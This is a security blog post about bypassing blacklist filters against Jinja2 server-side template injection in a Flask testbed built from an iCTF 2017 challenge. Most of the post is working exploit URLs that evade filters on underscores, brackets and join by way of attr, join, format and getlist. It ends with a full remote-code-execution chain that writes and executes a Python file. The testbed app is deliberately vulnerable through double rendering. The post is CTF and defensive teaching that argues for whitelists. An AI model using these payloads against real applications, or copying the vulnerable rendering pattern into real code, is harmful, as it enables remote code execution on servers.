Jinja2 template injection filter bypasses
The blogpost is a follow-up to my last post about the "Jins2 Template Injection RCE" in the iCTF 2017 "flasking unicorns" service. This time it is about bypassing blacklist filtering approaches by our and other teams as well as some useful tricks.
Motivation
During an attack-defense CTF, like the iCTF, there is usually not much time to think about in-depth fixes when other teams actively exploit your sevice. In our case the quick'n'dirty fix implemented by a colleague for this particular attack was to block requests that contain [
.
After the CTF was over and I published the writeup, @busbauen asked if I could bypass his __
filter:
@0daywork could you bypass our fix: filtering __ out?
— Christian Schneider (@busbauen) March 13, 2017
While monitoring the access logs and incoming requests, it looked that the fix was good enough to stop most attacks. However, you can never be really sure, because - as you (should) know - blacklists are bad and can often be circumvented.
Testbed
I went back to find an old copy of the challenge's sourcecode and built a small testbed. The core issue was that a template was rendered twice and the first rendering step contained user-controlled input. Here is the code:
# $> cat app.py
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")
def index():
exploit = request.args.get('exploit')
print exploit
rendered_template = render_template("app.html", exploit=exploit)
print(rendered_template)
return render_template_string(rendered_template)
if __name__ == "__main__":
app.run(debug=True)
And here's a simple template:
{# $>cat templates/app.html #}
{{exploit}}
We will extend this testbed step by step as we explore some blacklists and their possible bypasses. I won't explain the basic steps of a Jinja SSTI or this RCE PoC, because I did that in the last post:
http://localhost:5000/?exploit={{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337
After starting the webserver and sending the request, you should find a file /tmp/foo.py
with print 1337
in it and also 1337
printed on the debug console:
{{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}
{{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}
1337
127.0.0.1 - - [20/May/2017 01:42:19] "GET /?exploit={{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337 HTTP/1.1" 200 -
Bypassing "__"
By reading through the Jinja2 documentation I came up with several interesting bypasses for different blacklists. Not only did I manage to bypass the __
, but also my team's [
filter. I'll try to guide you through my thought process in the following sections.
First, I had to modify the testbed a bit to introduce a simple blacklist which only checks if the exploit
argument matches bad words:
# [...]
exploit = request.args.get('exploit')
print exploit
blacklist = ["__class__"]
# Level 1
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400
# [...]
As you can see, I first wanted to circumvent the use of __class__
in the exploit
parameter. Instead of directly accessing attributes with request.__class__
, one can use request["__class__"]
. But using quotes ("
) will result in an exception, because it will be converted to "
in the first rendering step. So we have to find another way. The request
variable has access to all parameters that were sent, so we can use request.args.param
to retrieve the value of a new param
GET parameter.
A working bypass is: http://localhost:5000/?exploit={{request[request.args.param]}}¶m=__class__
So far, so good! Let's add request[request.
to the blacklist. Luckily, there is another way to access attributes without .
or []
using a native JinJa2 function called |attr()
. Replacing request[request.args.param]
with |attr(request.args.param)
will bypass both checks.
However, we still haven't bypassed a stricter blacklist that checks all parameters and the __
string. We extend the testbed a second time and add a keyword:
blacklist = ["__class__", "request[request."]
blacklist += ["__"]
# Level 1
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400
# Level 2
for bad_string in blacklist:
for param in request.args:
if bad_string in request.args[param]:
return "HACK ATTEMPT {}".format(bad_string), 400
Our previous bypasses shouldn't work anymore due to being catched by the second blacklist. Now we have to find a way to smuggle __class__
past both blacklists and into our exploit. I thought about splitting up the string into smaller pieces such as _
, class
and passing them through different parameters. For this to work, however, we need to combine all separate parts into a string again. A look into JinJa's API comes to our rescue with a functiona called |join
that will concatenate a list of strings. For example ["a", "b", "c"]|join
is equivalent to "abc"
. Also, multiplication of a string with a number'n' duplicates it 'n' times. We use both tricks to get the following bypass:
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
Here's a short breakdown of what will happen:
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
To answer your question, Christian, there is a way to bypass your __
blacklist!
Bypassing "[" and "]"
Having achieved the previous bypass, I was curious if I could manage to bypass our very own fix of filtering "[" and "]". In essence, we only have to get rid of the brackets. But before we do that, let's extend our blacklist:
blacklist += ["[", "]"]
Python has another list-like datastructure, namely tuples. Those are initialized as (a,b,c,)
and their elements' order is fixed. The previously discussed join-function handles both lists in the same way. A possible bypass would be:
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
It is a bit ugly and long, though. Using the .getlist()
function we can shorten it a bit:
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
The function returns a list of all parameters with a given name. In our case we define the name using the l
parameter and the content of the list with several a
parameters.
So now we've seen for a second time that blacklist filtering approaches can be circumvented. Use whitelists! :-)
Bypassing "|join"
The last couple of bypasses all relied on the |join
function. There is another method to concatenate strings and the responsible function is called |format
. With the same query-string paramters &a=_
we can form a format string that will result in __class__
: %s%sclass%s%s
The %s
identifiers will be replaced with the passed string. Our new attack vector looks like this:
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
The format is passed in the &f=
query parameter and populated with the underscores from the &a=
parameters. This bypasses our previously defined blacklists and might become handy somewhere!
Final RCE
After exploring several tricks to bypass the blacklists, we still need to form the final, blacklist-bypassing RCE exploit. In theory, this should be easy, but it turned out to be a bit harder.
Here's a quite readable exploit that will bypass the [
, ]
checks, but not the __
check:
http://localhost:5000/?exploit={%set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{{i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337
As you can see, we have to use the set
function to get access to the necessary object
(i
) class. pop()
will retrieve the file
object which is then called with our known parameters. Similar to the initial RCE, this will create a python file /tmp/foo.py
and execute the print 1337
payload.
The final exploit that bypasses the all blacklist checks is a bit more complex, because it has to use the beforementioned tricks to obfuscate __class___
or other components with __
in it:
http://localhost:5000/?exploit={%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337
De-contructing and understanding the payload is left an as exercise to the reader ;)
Accessing parameters
In most examples we used request.args
to access GET parameters, but there are other dictionaries that can be populated with custom values:
- GET:
request.args
- Cookies:
request.cookies
- Headers:
request.headers
- Environment:
request.environ
- Values:
request.values
The following notations can be used to access attributes of an object:
request.__class__
request["__class__"]
request|attr("__class__")
Elements of arrays can be accessed with:
array[0]
array.pop(0)
What did we learn?
Although most of the bypasses could be further locked down by introducing stricter blacklists (e.g. filtering (
or |
), the overall takeaway should be that blacklists should never be used to "fix" vulnerabilities. I could bet that there are or going to be cleverer hackers that are capable of discoverying a bypasses for the other blacklists as well.
Additionally we highlighted some ideas and methods that can help to bypass blacklists. For example, splitting up a payload into several pieces or (ab)using syntactic sugar.
-=-